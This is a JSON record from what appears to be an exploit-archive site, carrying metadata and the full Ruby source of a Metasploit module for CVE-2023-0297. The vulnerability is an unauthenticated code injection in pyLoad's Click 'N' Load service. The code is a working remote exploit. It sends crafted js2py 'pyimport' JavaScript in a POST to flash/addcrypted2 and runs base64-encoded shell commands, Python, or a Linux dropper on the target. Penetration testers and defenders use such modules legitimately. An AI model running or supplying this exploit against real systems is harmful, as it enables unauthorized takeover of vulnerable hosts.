{"exploit":{"id":"MSF-linux--http--pyload_js2py_exec","name":"pyLoad js2py Python Execution","description":"pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services, the primary of which is on port 8000 and can not be used by external hosts. A secondary \"Click 'N' Load\" service runs on port 9666 and can be used remotely without authentication.","cves":["CVE-2023-0297"],"author":"Spencer McIntyre, bAu","published":"2023-01-13","platform":"Linux,Python,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/linux/http/pyload_js2py_exec.rb","path":"modules/exploits/linux/http/pyload_js2py_exec.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"pyload_js2py_exec.rb","vulnerabilities":[{"id":"CVE-2023-0297","state":"PUBLISHED","title":"Code Injection in pyload/pyload","titleSource":"CVE Program","description":"Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2023-0297","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"@huntrdev","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2023-0297"},"updatedAt":"2025-04-07T18:41:55.800Z","retrievedAt":"2026-11-26T19:41:04.768Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--pyload_js2py_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--pyload_js2py_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--pyload_js2py_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--pyload_js2py_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'pyLoad js2py Python Execution',\n        'Description' => %q{\n          pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport\n          functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request\n          to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,\n          the primary of which is on port 8000 and can not be used by external hosts. A secondary \"Click 'N' Load\"\n          service runs on port 9666 and can be used remotely without authentication.\n        },\n        'Author' => [\n          'Spencer McIntyre', # metasploit module\n          'bAu' # vulnerability discovery\n        ],\n        'References' => [\n          [ 'CVE', '2023-0297' ],\n          [ 'URL', 'https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/' ],\n          [ 'URL', 'https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad' ],\n          [ 'URL', 'https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d' ] # fix commit\n        ],\n        'DisclosureDate' => '2023-01-13',\n        'License' => MSF_LICENSE,\n        'Privileged' => true,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper\n            }\n          ],\n          [\n            'Python',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON,\n              'Type' => :python_exec\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(9666),\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end\n\n  def check\n    sleep_time = rand(5..10)\n\n    _, elapsed_time = Rex::Stopwatch.elapsed_time do\n      execute_python(\"import time; time.sleep(#{sleep_time})\")\n    end\n\n    vprint_status(\"Elapsed time: #{elapsed_time} seconds\")\n\n    unless elapsed_time > sleep_time\n      return CheckCode::Safe('Failed to test command injection.')\n    end\n\n    CheckCode::Appears('Successfully tested command injection.')\n  rescue Msf::Exploit::Failed\n    return CheckCode::Safe('Failed to test command injection.')\n  end\n\n  def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n    case target['Type']\n    when :unix_cmd\n      if execute_command(payload.encoded)\n        print_good(\"Successfully executed command: #{payload.encoded}\")\n      end\n    when :python_exec\n      execute_javascript(\"pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\\\"#{Base64.strict_encode64(payload.encoded)}\\\"));\")\n    when :linux_dropper\n      execute_cmdstager\n    end\n  end\n\n  def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n\n    # use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues\n    # using popen instead of system ensures that the request is not blocked\n    javascript = \"pyimport os;pyimport sys;pyimport base64;_=base64.b64decode(\\\"#{Base64.strict_encode64(cmd)}\\\");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));\"\n    execute_javascript(javascript)\n  end\n\n  def execute_python(python)\n    # use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issues\n    javascript = \"pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\\\"#{Base64.strict_encode64(python)}\\\"));\"\n    execute_javascript(javascript)\n  end\n\n  def execute_javascript(javascript)\n    # https://github.com/pyload/pyload/blob/7d73ba7919e594d783b3411d7ddb87885aea782d/src/pyload/core/threads/clicknload_thread.py#L153\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),\n      'vars_post' => {\n        'crypted' => '',\n        'jk' => \"#{javascript}f=function f2(){};\"\n      }\n    )\n\n    # the command will either cause the response to timeout or return a 500\n    return if res.nil?\n    return if res.code == 500 && res.body =~ /Could not decrypt key/\n\n    fail_with(Failure::UnexpectedReply, \"The HTTP server replied with a status of #{res.code}\")\n  end\nend\n","sha256":"ecf1d97e50b6fc93c78787370a471452a2f87923278d7cb2dafa0270186ac999","bytes":5102,"fetchedAt":"2026-11-26T22:34:40.472Z","encoding":"utf-8 (display only; download retains original bytes)"}